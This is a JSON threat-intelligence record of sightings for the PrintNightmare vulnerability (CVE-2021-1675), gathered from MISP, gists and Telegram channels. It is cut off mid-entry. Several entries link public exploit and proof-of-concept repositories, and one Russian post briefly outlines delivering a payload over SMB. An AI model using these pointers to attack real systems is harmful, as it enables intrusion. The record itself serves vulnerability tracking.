{"vulnerability": "cve-2021-1675", "sightings": [{"uuid": "1e4de4c0-d2b5-4985-94a2-1810d696c8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/c6250a7a-63b1-4996-8734-3ab181e12e3e", "content": "", "creation_timestamp": "2021-09-17T13:28:20.000000Z"}, {"uuid": "105b1dda-41a0-490f-9b3a-5ce9b0ed51a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "f3d98f14-223c-4e2d-8e38-ca1a40f8cc1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:19.000000Z"}, {"uuid": "8e0b13ab-bc28-4aa3-9371-544c9a6130cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://bsky.app/profile/fidjolakoka.bsky.social/post/3ldtuiiqics2f", "content": "", "creation_timestamp": "2024-12-21T20:40:30.958890Z"}, {"uuid": "d399b505-8129-43b1-a2e0-59776a4771b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2970982", "content": "", "creation_timestamp": "2024-12-24T20:22:37.956125Z"}, {"uuid": "13731da8-548d-40ba-812d-89802e832adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "35a6e529-a9bb-4930-8f17-71088afc59a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:33.000000Z"}, {"uuid": "63b20744-096f-409b-a5c1-29fc93dfff3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:50.000000Z"}, {"uuid": "61a56a36-e100-4993-b231-239123c2735f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb", "content": "", "creation_timestamp": "2022-05-24T20:48:33.000000Z"}, {"uuid": "c159dbbb-b43a-40d5-9599-e0cb16c47bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/Aggerio/9330fd5699568e142d5ba1c5f775d5ce", "content": "", "creation_timestamp": "2025-11-16T15:29:50.000000Z"}, {"uuid": "813565c8-cb59-4d42-988c-d9cf8e71686c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:00.000000Z"}, {"uuid": "b42e0f80-2611-4c01-b13d-4309847efc18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-1675", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-c39acbe0-91886c343547fcce", "content": "", "creation_timestamp": "2025-12-05T12:35:58.929250Z"}, {"uuid": "b3f41dfa-071b-48ae-9b2d-4014fcab3ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/aw-junaid/db57913171b70ac795cfa091a75e90ab", "content": "", "creation_timestamp": "2026-01-30T19:19:22.000000Z"}, {"uuid": "696cb27f-b655-4443-9369-4ad9debef67a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_19/2021", "content": "", "creation_timestamp": "2021-07-01T09:58:27.000000Z"}, {"uuid": "32d898e2-bd6f-40ec-8cec-d1bb6aff0837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ecf21bc7-f09d-47c1-9b45-ac691cbd5635", "content": "", "creation_timestamp": "2026-02-02T12:28:56.749052Z"}, {"uuid": "7664a0d3-6974-448a-aea8-8d4013ff0203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/GithubRedTeam/150", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aTo fight against Windows security breach PrintNightmare! (CVE-2021-34527, CVE-2021-1675)\nURL\uff1ahttps://github.com/Tomparte/PrintNightmare", "creation_timestamp": "2021-07-28T08:32:17.000000Z"}, {"uuid": "a549e12a-62ab-44e8-a894-d78fabaf0ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/GithubRedTeam/352", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aTo fight against Windows security breach PrintNightmare! (CVE-2021-34527, CVE-2021-1675)\nURL\uff1ahttps://github.com/Tomparte/PrintNightmare", "creation_timestamp": "2021-08-20T11:43:19.000000Z"}, {"uuid": "87c853f1-676a-4df8-810d-8a90b1f9b7ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/GithubRedTeam/909", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)\nURL\uff1ahttps://github.com/fumamatar/NimNightmare", "creation_timestamp": "2021-12-05T14:55:43.000000Z"}, {"uuid": "137453c5-bce6-4570-a8d8-6eda0be216ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/908", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)\nURL\uff1ahttps://github.com/fumamatar/NimNightmare-", "creation_timestamp": "2021-12-05T14:51:36.000000Z"}, {"uuid": "b5b74273-5e45-4a19-8097-2d948482e662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/GithubRedTeam/707", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPython implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)\nURL\uff1ahttps://github.com/ly4k/PrintNightmare", "creation_timestamp": "2021-10-17T13:34:40.000000Z"}, {"uuid": "7bef11e5-f521-4ac1-9a6f-899ce6321261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/cKure/6057", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2021-1675 Windows RCE; video PoC: https://youtu.be/qU3vQ-B-FPY", "creation_timestamp": "2021-07-01T14:12:11.000000Z"}, {"uuid": "267a84da-d9ff-4956-a05e-f75546a8894a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cKure/6056", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2021-1675 Windows RCE; what we know so far. \n\nhttps://www.reddit.com/r/msp/comments/ob6y02/critical_vulnerability_printnightmare_exposes/", "creation_timestamp": "2021-07-01T14:06:17.000000Z"}, {"uuid": "fa712fb2-31c8-4f79-bc39-94c40443ffaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cKure/6053", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 EDR  Query to detect CVE-2021-1675\n\nhttps://mobile.twitter.com/_M_Shahnawaz/status/1410529617966997508", "creation_timestamp": "2021-07-01T11:07:55.000000Z"}, {"uuid": "2db5317c-da91-475b-bdb4-168afba0c2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/cKure/6050", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2021-1675: Windows \ud83e\ude9f RCE (untested)\n\nhttps://xss.is/threads/53479/", "creation_timestamp": "2021-07-01T07:44:02.000000Z"}, {"uuid": "09550714-70cd-41fc-a782-d622174ed99d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cKure/6062", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2021-1675 Windows RCE.", "creation_timestamp": "2021-07-02T10:27:11.000000Z"}, {"uuid": "5143e694-c81f-4a5c-bfde-028472814883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/polirise-och5ty-long/0553d1b567d5e4e4c05bd4bd470b77bf", "content": "", "creation_timestamp": "2026-04-19T17:35:28.000000Z"}, {"uuid": "df672bcc-eeeb-4cab-872b-6ee51fff8fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/polirise-och5ty-long/921c7aa9360839078ec5ad52cee75648", "content": "", "creation_timestamp": "2026-04-19T17:37:51.000000Z"}, {"uuid": "9492eae4-8765-4fa9-8a09-05650b4865a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/polirise-och5ty-long/26f16159ab0369f7b5368e757a208f61", "content": "", "creation_timestamp": "2026-04-19T17:39:00.000000Z"}, {"uuid": "1207e831-be22-43ed-8a2e-e2272983867a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/ed3db5cb-9b15-4548-871d-ed4c22b479a6", "content": "", "creation_timestamp": "2026-04-19T21:02:39.000000Z"}, {"uuid": "b14621c3-7d04-4b9a-b9ff-8b63811c7b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/HXnB78LZ993EnbGXdL2hofKwYDoKHSeDPKMDrtCNi3QDgzw", "content": "", "creation_timestamp": "2025-08-14T09:00:04.000000Z"}, {"uuid": "9b7ec4bc-0ceb-4111-851d-49336726b160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/PHoJQGmgGzsQrC8Gnxfc8pLZD55xgKQzGqHQgQ7hPSbJXl0", "content": "", "creation_timestamp": "2025-11-19T15:00:09.000000Z"}, {"uuid": "0a63f505-1c25-481e-bd33-3fe543538f17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/quocchau/c4a202ad3ca93e341584a773ac17398f", "content": "", "creation_timestamp": "2026-04-28T05:27:45.000000Z"}, {"uuid": "00c15991-a567-4d17-ba05-5e9a18ad35ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/cKure/6036", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\nhttps://github.com/afwu/PrintNightmare", "creation_timestamp": "2021-06-30T15:35:49.000000Z"}, {"uuid": "961cfe31-05ac-4219-ab08-5df5e356eab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/antichat/9768", "content": "PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\nhttps://github.com/afwu/PrintNightmare\n\n#exploit #git", "creation_timestamp": "2021-06-29T17:45:58.000000Z"}, {"uuid": "bb7223c6-0c4b-4b8c-93ac-738c0ddd1f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/452", "content": "\u0647\u0634\u062f\u0627\u0631\n\n\u0633\u0631\u0648\u06cc\u0633 Print.Spooler \u062f\u0631 \u0645\u0639\u0631\u0636 \u062a\u0647\u062f\u06cc\u062f\n\u0627\u062e\u06cc\u0631\u0627\u064b \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc CVE-2021-1675 \u06a9\u0647 \u062f\u0631 \u0645\u0648\u0631\u062f Print.Spooler \u0648\u06cc\u0646\u062f\u0648\u0632 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0628\u0648\u062f poc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0645\u06a9\u0627\u0646 \u062d\u0645\u0644\u0627\u062a RCE \u0641\u0631\u0627\u0647\u0645 \u0627\u0633\u062a.\n\u2705\u062a\u0627 \u0632\u0645\u0627\u0646 \u0627\u0631\u0627\u0626\u0647 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062a\u0648\u0633\u0637 \u0645\u0627\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u063a\u06cc\u0631 \u0641\u0639\u0627\u0644 \u06af\u0631\u062f\u062f.\n\n\ud83d\udc6e\u200d\u2640\ufe0f\ud83d\udc6e\u200d\u2640\ufe0f \u0628\u0627\u0632\u0646\u0634\u0631 \u0645\u0637\u0627\u0644\u0628 \u0627\u06cc\u0646 \u06a9\u0627\u0646\u0627\u0644 \u0635\u0631\u0641\u0627 \u0628\u0627 \u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u06a9\u0627\u0645\u0644 \u06a9\u0627\u0646\u0627\u0644 \u0645\u062c\u0627\u0632 \u0645\u06cc\u0628\u0627\u0634\u062f.\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\nhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u062a\u0648\u06cc\u06cc\u062a\u0631:\nhttps://twitter.com/icscerti", "creation_timestamp": "2021-07-02T17:33:04.000000Z"}, {"uuid": "da7b9341-9fd3-4c57-b229-f6e17989875f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/453", "content": "\u26d4\ufe0f \u0647\u0634\u062f\u0627\u0631: \u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062a\u0645\u0627\u0645\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0622\u0646 \u0628\u0635\u0648\u0631\u062a \u0639\u0645\u0648\u0645\u06cc \u0648 \u06af\u0633\u062a\u0631\u062f\u0647 \u0628\u0633\u06cc\u0627\u0631 \u062d\u0633\u0627\u0633 \u0648 \u062e\u0637\u0631\u0646\u0627\u06a9 \u0627\u0633\u062a.\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u0628\u0647 \u0644\u06cc\u0646\u06a9\u200c\u0647\u0627\u06cc \u0632\u06cc\u0631 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u062f:\n\n\ud83c\udf10 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n\n\ud83c\udf10 https://github.com/afwu/PrintNightmare\n\n\ud83c\udf10 https://github.com/cube0x0/CVE-2021-1675\n\n\ud83d\udc6e\u200d\u2640\ufe0f\ud83d\udc6e\u200d\u2640\ufe0f \u0628\u0627\u0632\u0646\u0634\u0631 \u0645\u0637\u0627\u0644\u0628 \u0627\u06cc\u0646 \u06a9\u0627\u0646\u0627\u0644 \u0635\u0631\u0641\u0627 \u0628\u0627 \u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u06a9\u0627\u0645\u0644 \u06a9\u0627\u0646\u0627\u0644 \u0645\u062c\u0627\u0632 \u0645\u06cc\u0628\u0627\u0634\u062f.\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\nhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u062a\u0648\u06cc\u06cc\u062a\u0631:\nhttps://twitter.com/icscerti", "creation_timestamp": "2021-07-02T17:41:34.000000Z"}, {"uuid": "876a0274-545f-42c9-ad6d-925e2a9b1834", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSec/290", "content": "1. https://github.com/Sachinart/CVE-2025-32432\nCheck for CVE-2025-32432 vulnerability\n#github #exploit\n\n\n2. https://github.com/helidem/CVE-2025-24054-PoC\nProof of Concept for NTLM Hash Leak via .library-ms CVE-2025-24054\n#github #poc\n\n\n3. https://github.com/ajdumanhug/CVE-2023-46818\nCVE-2023-46818 Python3 Exploit for ISPConfig <= 3.2.11 PHP Code Injection\n#github #exploit\n\n\n4. https://github.com/0x6rss/CVE-2025-24071_PoC\nNTLM hash leak via .library-ms inside ZIP/RAR (CVE-2025-24071)\n#github #poc\n\n\n5. https://github.com/trickest/cve/blob/main/2022/CVE-2022-42092.md\nCVE-2022-42092 \u2013 Backdrop CMS RCE PoC\n#github #exploit\n\n\n6. https://github.com/nomi-sec/PoC-in-GitHub\nAggregated CVE Exploits and PoCs from GitHub\n#github #tool\n\n\n7. https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker\nLinux Container Escape CVE-2022-0492 vulnerability checker\n#github #exploit\n\n\n8. https://github.com/xigney/CVE-2025-24054_PoC\nAlternate NTLM Hash Leak via .library-ms CVE-2025-24054\n#github #poc\n\n\n9. https://github.com/bipbopbup/CVE-2023-46818-python-exploit\nPython PoC for CVE-2023-46818 in ISPConfig\n#github #exploit\n\n\n10. https://github.com/Marcejr117/CVE-2025-24071_PoC\nNTLM Hash Leak using .library-ms via ZIP trick (CVE-2025-24071)\n#github #poc\n\n\n11. https://github.com/Ostorlab/KEV\nKnown Exploited Vulnerabilities Detector\n#github #scanner\n\n\n12. https://github.com/edoardottt/missing-cve-nuclei-templates\nMissing CVE Detection via Nuclei Templates\n#github #scanner\n\n\n13. https://github.com/hyp3rlinx/Advisories\nZero-Day Security Advisories and Exploits by Hyp3rlinx\n#github #exploit\n\n\n14. https://github.com/Kubashok/apple-cve-repos\nApple CVE Database Links Repository\n#github #cve\n\n\n15. https://github.com/esnet/Seccubus_v2\nSeccubus Test Data for Vulnerability Scanners\n#github #tool\n\n\n16. https://github.com/skordemir/Xml2Ontology\nNessus XML Vulnerability Report Samples\n#github #data\n\n\n17. https://github.com/madirish/hector\nHector: Vulnerability Management Tool with Sample Nessus Reports\n#github #tool\n\n\n18. https://github.com/projectdiscovery/nuclei-templates/issues/8804\nNuclei Template request for ISPConfig CVE-2023-46818\n#github #scanner\n\n\n19. https://github.com/projectdiscovery/nuclei-templates/issues/12020\nNuclei Template PoC Request for CraftCMS CVE-2025-32432\n#github #scanner\n\n\n20. https://github.com/tanjiti/sec_profile\nSecurity Profile Aggregator \u2013 CVE, CISA, NVD, etc.\n#github #intel\n\n\n21. https://github.com/cube0x0/CVE-2021-1675\nPrintNightmare Exploit PoC (CVE-2021-1675 / CVE-2021-34527)\n#github #exploit\n\n22. https://github.com/Maldev-Academy/LsassHijackingViaReg\n\nInjecting DLL into LSASS at boot\n#github #tools\n\n\nOpen-source tools and proof-of-concept (PoC) repositories related to recent CVEs, exploits, and security research. These resources are valuable for educational purposes and can aid students in understanding real-world vulnerabilities and exploitation techniques.", "creation_timestamp": "2025-05-05T10:30:13.000000Z"}, {"uuid": "5447ce54-e306-4def-ab55-8ad053bd2dc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/maf2TFOSyoSTf8xOkgyu0UgeCyGF21FfgwtUN3M8h6X6o90", "content": "", "creation_timestamp": "2025-08-24T15:00:06.000000Z"}, {"uuid": "76671d8b-bb5e-4163-96d7-76deb88a417a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/JxyyR7DPCkvNqGXHwYf1FM_TYIK_7LUKbzPocNJOIh8q_94", "content": "", "creation_timestamp": "2025-08-05T21:00:04.000000Z"}, {"uuid": "8f57ea55-06cb-430d-bb6b-84978d648bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/poxek/510", "content": "PrintNightmare (CVE-2021-1675)\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u043d\u0430 \u043c\u043d\u043e\u0433\u0438\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0432 \u0441\u0435\u0442\u0438 \u0441 AD-DC. \n\u0412\u0430\u043c \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u044d\u0439\u043b\u043e\u0430\u0434 \u0438 \u0440\u0430\u0437\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0436\u0435\u0440\u0442\u0432\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f SMB-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\nhttps://github.com/cube0x0/CVE-2021-1675\n\n@dnevnik_infosec", "creation_timestamp": "2022-01-19T17:38:38.000000Z"}, {"uuid": "cbb3fbed-1e9f-4d95-95dd-55f58296200b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/arm1tage/129", "content": "HackTheBox:\n\n\u2014Easy Machines\u2014\n\nDriver - WinRM (evil-winrm), printnightmare CVE-2021-1675 